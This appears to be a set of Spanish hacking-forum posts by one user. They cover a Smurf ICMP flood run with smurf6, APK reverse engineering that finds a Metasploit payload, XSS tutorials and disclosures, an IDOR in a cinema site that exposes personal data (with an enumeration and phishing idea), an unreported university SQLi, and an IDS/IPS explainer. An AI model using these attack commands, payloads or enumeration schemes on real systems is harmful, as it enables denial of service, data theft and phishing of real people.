Ahora vamos a la cuestión principal, el ataque en sí se realiza enviando un gran número de paquetes ICMP a la IP de Broadcast (amplificador) con la IP spoofeada de la víctima a modo de origen. Lo importante de este ataque es que al enviar spoofeada la dirección de la víctima al Broadcast, este reproduce el mismo paquete a los nodos del mismo segmento de red por eso es un ataque muy efectivo.
Por consiguiente intervienen tres elementos:

  • Atacante
  • Broadcast (Amplificador)
  • Víctima
En esta ilustración podemos observar un esquema creado por cisco sobre la reproducción del Smurf Attack:
Ahora para hacer una prueba de concepto con este tipo de ataque nos ayudaremos de la herramienta "smurf6" , el autor es van Hauser y esta herramienta la podemos encontrar tanto en su github como en la suit de Stress de kali linux, en esta ocasión se supondrá que el lector está utilizando kali linux y se reproducirá el ataque desde esa perspectiva.
El uso es simple, la sintaxis de ejecución sería:
Código: php
smurf6 interface víctima
Una ilustración de la prueba de concepto:
Y desde la víctima utilicé un Sniffer (wireshark) el resultado fue destructivo:
Doy por concluido el post, un saludo!
#12
Hola a todos, soy MagoAstral. Como podéis apreciar he estado un largo periodo inactivo, ahora que tengo más tiempo libre intentaré aportar alguna que otra cosilla, en esta ocasión como audazmente habréis detectado hablaré sobre la ingeniería inversa de un modo sencillo pues mi intención es que una persona con conocimientos básicos capte el significado del aporte, sin irme por las ramas y resumiendo nos situamos en el escenario:
Código: php
Pedro es un usuario iniciando en el mundo de la seguridad informática ha descargado una apk que le pasó su compañero Juan, este es un usuario medio en el tema de la seguridad. Pedro sospecha de Juan así que ha decidido ver si se trata de un bulo y está infectada la apk o por contrario Juan solo quería compartir con el una aplicación.
Para los que no sepan que es la ingeniería inversa, les remitiré a la definición de nuestra compañera la Wikipedia:
Código: php
El objetivo de la ingeniería inversa es obtener información o un diseño a partir de un producto, con el fin de determinar de qué está hecho, qué lo hace funcionar y cómo fue fabricado.
Creo que no son necesarias aclaraciones, pues no sería capaz de definir mejor el concepto de ingeniería inversa. En esta ocasión nos ayudará la aplicación "apktool", para la prueba de concepto usaré el sistema operativo Kali Linux la cual lleva dentro de su suit de ingeniería inversa la misma aplicación por consiguiente partiré de la base de que el lector se encuentra en posesión de dicha distribución y en un escenario similar.
Apktool es una herramienta cuya finalidad es realizar pruebas de ingeniería inversa sobre aplicaciones Android, más información:
Código: php
http://ibotpeaches.github.io/Apktool/
Bien sin más nos situaremos en el directorio:
Código: php
/usr/share/apktool
Moveremos nuestra apk maliciosa a la misma ruta y procederemos con la siguiente sintaxis:
Código: php
./apktool.jar d apkmaliciosa
La salida de la terminal sería:
Como resultado nos creará una carpeta con el nombe de la misma apk, si nos situamos dentro de dicha carpeta, encontramos diversos archivos, el que nos interesa es la carpeta "smali", dentro de la misma accedemos a la carpeta "com", aquí ya localizamos la carpeta "metasploit" podríamos deducir que es un payload cosa obvia pero vamos más adentro.
Dentro de la carpeta "stage" observamos diversos archivos con extensión "smali" vamos a abrir el "Payload.smali" con cualquier editor.
El resultado es:
Hemos detectado la dirección a la que conecta el payload y el mismo puerto, obviamente vamos a parar aquí pues era nuestro objetivo detectar al atacante pero tendríamos un sin fin de posibilidades con todo el código fuente a nuestra libre disposición.
Doy por concluido el post, un saludo.
#13
Hacking ShowOff / XSS Reflected BlackPloit
Mayo 26, 2015, 01:15:54 PM
Hola, en esta ocasión os brindo un XSS Reflejado en la biblioteca de BlackPloit. No acostumbro a reportar vulnerabilidades de típo XSS o publicarlas pues hoy en día cualquier persona con conocimientos mediocres puede reportarlos y/o encontrarlos bien en gugle (micro$oft), yahu, facebuk, etc... inclusive en esos absurdos bug bounties.
Lo encontré porque un amigo mío estaba preguntándome por material para introducirse en esto de la seguridad e inseguridad, y obviamente entre mi lista de bibliotecas favoritas estaba la clásica de BlackPloit.
Pantallazo del PoC:

El payload se debe codificar a base64 que es como el sistema de la biblioteca reconoce los strings y los decodifica, ante tal acto la consecuencia es la ejecución en bruto del script.
La vulnerabilidad se reportó y su estado está en espera de contestación.
Un saludo
#14
Hacking / Métodos de Xssplotación
Octubre 07, 2014, 02:46:08 PM
Hola a todos usuarios de Underc0de soy yo MagoAstral y en esta ocasión quería compartir con todos ustedes una pequeña guía o cheat seet en el que redacté algunas metodologías orientadas al robo de credenciales, secuestro de sesiones, etc... todo esto gracias a una vulnerabilidad muy conocida y famosa Cross-Site Scripting, en todas las pruebas de concepto se atacará de forma reflejada, bueno espero que no sean muy críticos pues es mi primer manual si se le puede llamar así y por defecto pecará en algunos aspectos, así que si tienen el placer de decirme dónde mejorarlo lo tomaré como crítica constructiva para un futuro.
Sin más preámbulos los temas que se tratan son:
Código: php

- Session Hijacking
- Form Hijacking
- Social Engineering
- Frameworks de explotación

Bueno esto sería todo simplemente les dejo la portada y la descarga y la verdad es que es muy corto pero buena información o eso creo, tampoco quería hacer algo muy empalagoso o lleno de artificios, prefiero lo sencillo, rápido y eficaz.

Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#15
Hacking ShowOff / Extracción Información Cinesa
Septiembre 24, 2014, 12:28:15 PM
Hola usuarios de Underc0de , soy yo MagoAstral y en esta ocasión vengo a presentarles la siguiente vulnerabilidad que encontré recientemente en un servicio web de una franquicia de cines bastante conocida: Cinesa, bien por ahora todo correcto estos cines hacen cada determinado tiempo un festival por decirlo de alguna, quizás mejor dicho promoción, consiste en "La fiesta del cine", te registras en su web y te descargas la acreditación con tu nombre y apellidos, perfecto nos sale las entradas a 3€ por poner mi nombre y apellidos, ¿Qué mas puedo pedir?, una vez rellenamos nuestra acreditación nos envian al email pues lo típico el correo con la misma acreditanción y una URL:
Código: php

http://www.fiestadelcine.com/acreditacion/descarga?clave=XLXxyc4pdc2JsSrjkQiZHbIVtTuhCs6z


Por ahora perfecto, en este caso hice un nombre y apellidos de prueba para el PoC, bien si analizamos minuciosamente la URL:
Código: php

Protocolo: http://
World Wide Web: www.
Dominio: fiestadelcine.com
Directorio: /acreditacion/
Archivo: descarga
Variable: ?clave=
Información: XLXxyc4pdc2JsSrjkQiZHbIVtTuhCs6z

Si nos fijamos la información el ID parece estar encriptado con algún algoritmo la verdad parece bastante seguro no nos merecería perder el tiempo en intentar romperlo pues serían dolores de cabeza, pero si pensamos la ID puede ser numérica o alfanumérica, si el hash es alfanumérico hay bastantes posibilidades que sea un ID numérico, probemos a alterar la clave por un número, ejemplo:
Código: php

http://www.fiestadelcine.com/acreditacion/descarga?clave=1

Y la respuesta es:

¡Bingo!, censuré el nombre de la victima por motivos de seguridad, pero ¿Qué pasa ahora?, ¿Cuanta gente utilizaría este servicio?.
Bien, si quisiera podría elaborar un pequeño script que me fuese añadiendo números e ir obteniendo información personal y luego pues ya que utilizaron cinesa busca algún correo de las víctimas y no hace falta pensar mucho enviar un email con un letter de Cinesa con alguna promoción y quién sabe que podría pasar ya confiaron una vez en su servicio la segunda el 85% de los clientes serían fáciles de que nos tomasen enserio.
Esto es todo espero que cinesa tome medidas y solucione la vulnerabilidad.
PD: La vulnerabilidad fue descubierta el : 24/09/2014 y reportada el mismo día.
Un saludo,
MagoAstral from Most-Security
#16
Bugs y Exploits / Cross-Site Scripting [XSS] - 01
Agosto 04, 2013, 11:11:23 AM
Buenas usuarios de underc0de, hoy vengo con la primera parte de una secuencia de tutoriales en los cuales explicaré distintas formas de explotación de los XSS y fixeo de la misma, para empezar explicaremos el concepto xss, yo lo catalogaría como una vulnerabilidad web que permite inyectar código a terceros, este código sería JavaScript o algún lenguaje de scripting similar tipo VBScript, vale si somos un poco maquiaviavélicos podemos causar extragos dentro de la aplicación web que nos permitió inyectar ese código, pero esas formas las iré explicando poco a poco, hoy comenzaremos por distinguir los dós tipos de XSS que podemos encontrar comunmente.

Tipos:

XSS Reflejado : El código inyectado se ejecutaría de forma indirecta es decir vía URL o vía buscado tendríamos que hacer uso de la ingeniería social para llevar a cabo la ejecución del código sobre la víctima, un ejemplo sería un buscador.

XSS Persistente : El código inyectado se ejecuta de forma directa, es decir que persiste en la aplicación web, un claro ejemplo sería un libro de visitas donde nosotros dejamos nuestro comentario y todo el mundo puede verlo.

Hoy vamos a explicar el XSS Reflected o reflejado, vamos a hacer uso un pequeño código que vamos a desarrollar en PHP+ HTML (un código sin filtros, muy sencillo).

Comenzamos con la aplicación desarrollando una idea creo que será un sistema que tu pones tu nombre y te saluda, así que empezamos con el HTML.
Código: php

<html>
<head>
<title>
Saludador
</title>
</head>
<body>
<form method="POST" action="saludar.php">
<center>
<p>
Mi nombre es:
</p>
<input type="text" name="nombre" id="nick" value="">
<input type="submit" value="Enviar">
</center>
</form>
</body>
</html>

Lo cual quedaría más o menos así :

Vale, ahora pasamos a recibir la variable nombre vía post y mostrarla en pantalla, muy fácil y simple.
Código: php

<?php

$varnom = $_POST['nombre'];

echo "Hola: $varnom";

?>

Esto quedaría probandolo así:

Bien, ahora al ser personas malvadas probamos a inyectar un tag HTML tipo h1, y vemos que el tag se ejecuta en bruto por lo tanto pensamos que no tiene ningun filtrado.
Aquí una captura del resultado :

Perfecto, ahora ya podríamos ejecutar algo un poco más interesante pensemos en un script, por convenio se suele mostrar la alerta.
Vector : <script>alert('MagoAstral')</script>
Y ¡Voula!

Bien, como vemos podríamos ejecutar cualquier código desde un full replace hasta inyectar un iframe apuntando a nuestro buen Beef XSS...
Pero los tutoriales de explotación y sesssion hijacking los dejaré par más adelante cuando explique los Persistent XSS.
Ahora pasaremos a filtrar los scripts para evitar que nos inyecten estos scripts, usaremos htmlentities, esta será nuestra primer baza hay distintas formas de filtrarlo pero hoy veremos esta.
Código: php

<?php

$varnom = $_POST['nombre'];

echo "Tu nombre es: ".htmlentities($varnom);

?>

Y ahora probamos a inyectar el vector de la alerta...

Ups...
Pues aquí termina la parte 1 de esta serie de tutoriales, mañana explicaré los persistentes y después pasaremos a robar sesiones y contraseñas atraves de un XSS, y si les gustó el tutorial comentenmelo que aunque parezca poco comentar sube la moral.
Un saludo,
MagoAstral.
#17
Hacking ShowOff / SQLi University of Nairobi
Julio 30, 2013, 02:03:58 PM
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Reportado: No
Estado actual: Vulnerable
Img :
#18
Seguridad / Sistemas IPS/IDS/HIPS
Julio 28, 2013, 03:54:48 PM
Buenos días a todos, aquí les traigo mi primer aporte a la comunidad, el cual a muchos puede interesarles a otros no, pero eso deben de juzgarlo ustedes mismos, hablaré de los sistemas ips, ids e hips.
Por desgracia hoy en día un gran número de personas sufre constantemente ciber ataques y no saben cómo defenderse así que hoy pondremos en práctica las técnicas de mi abuela prevenir y detectar y para eso tenemos dos buenos amigos que nos van a ayudar los IPS e IDS, luego ya hablaremos del tercero pero por ahora nos centraremos en estos dos, pero antes vamos a diferenciar el IPS del IDS.

IDS: Sería un sistema de detección de intrusos, su función sería estar como un perro cuidando a las ovejas del rebaño, es decir, de forma reactiva, analizaría la red de forma constante y nos protegería ante un intruso, puede configurarse por ejemplo para captar un paquete ICMP (ping) y avisarnos de que nos están pingeando todo esto se deja a elección del dueño.
IPS: Este es un sistema de prevención de intrusos, dado que tomamos el ejemplo del perro y las ovejas pues el IPS sería la alambrada o cerca de las ovejas, es decir actúa de forma proactiva, dentro de sus funciones sería establecer unas políticas o reglas para prevenir al atacante.

Bueno, ahora que ya tenemos clara la diferencia vamos a pasar a los tipos de IDS / IPS, y cómo funcionan realmente.

IDS: En resumen el ID es un software el cual analiza y detecta supuestos intrusos en la red o un ordeandor, este sistema está basado en sensores virtuales, que nos  permiten monitorear el tráfico de la red, para así evitar dichos atacantes, pero este también permite analizar el comportamiento y el contenido de la red no solo el tráfico.
El IDS, no solo analiza el tráfico de la red, sino su comportamiento y contenido, también suelen tener una DB con un conjunto datos del atacante tipo Honeypot.

Funcionamiento:

El proceso de detección de los intrusos se caracteriza por:
- Una DB con información sobre anteriores atacantes.
- Una buena configuración.
- Un estado actual, referente en términos de comunicación y procesos.



Tipos de IDS:

- HIDS: IDS basados en Host..
- NIDS: IDS basados en Red.
- DIDS: Este formaría parte del NIDS, solo que tendría una distinta distribución en la red.


Recomendación personal a la hora de usar un IDS:
Debes de configurarlo bien y complementarlo con un buen Firewall para así tener una protección idónea.

IPS: Vale ahora llegó el turno de los IPS, estos tienen más que hablar dado que son un sistema complejo y a mi critero mejor que los IDS, por lógica más vale prevenir que detectar, los IPS a diferencia de los IDS  tiene la capacidad de descifrar protocolos como HTTP, FTP y SMTP, aunque tampoco vamos a extender el contenido por ahorá nos centraremos en lo básico.

Funcionamiento:

Los sistemas IPS utilizan menos recursos que los IDS, lo cual puede ser un pro para una empresa que esté interesada en adquirir dichos sistemas dado que puede reducir los costes, por otra parte los IPS no utilizan direcciones IP como lo hacen los firewalls, su función como había dicho consiste en  poner normas o reglas que permiten restringir el acceso a usuarios, aplicaciones y a host siempre y cuando se detectan que estos están realizando actividades malintencionadas o transfiriendo código malicioso en el tráfico de la red.

Tipos de IPS:

- Detección Basada en Firmas
- Detección Basada en Políticas
- Detección Basada en Anomalías
- Detección Honey Pot

También podríamos incluir los RBIPS y CBIPS, los cuales prevendrian bien de denegaciones de servicio distribuidas en caso del RBIPS o inspeccionar la DB del IPS como es el caso del CBIPS.

Y bueno hasta aquí llega la parte de los IPS / IDS ahora simplemente les diré unos ejemplos de estos sistemas los cuales serían por ejemplo Snort o Suricata este último es multiplataforma y muy recomendado, ya llevo más de 1 hora escribiendo así que acabaré rápido con los HIPS por arriba sin entrar mucho en contenido.

Un HIPS sería un sistema de prevención de los temibles 0day o exploits de 0 días, es decir una vulnerabilidad sin parche, es un sistema bastante complejo y poco frecuente pero hoy en día ya se empieza a utilizar y su función sería proporcionarnos protección a los usuarios durante ese período, además de protegernos contra spywares y demás malwares.

Y hasta aquí llego el aporte espero que sepan que son los IDS / IPS / HIPS y si les interesa puedo hacer algún aporte de cómo configurarlos y darles uso.

Un saludo,
MagoAstral.
#19
Presentaciones y cumpleaños / Presentación.
Julio 28, 2013, 02:50:36 PM
Buenos días, como podrán apreciar mi nick es MagoAstral, soy un aficionado a la seguridad / inseguridad informática, lector habitual, y amante de la programación.
Espero hacer buenas amistades en el foro, enseñar mis conocimientos y aprender.
Y aquí termina mi presentación tampoco quiero alargarla mucho.
Un saludo,
MagoAstral.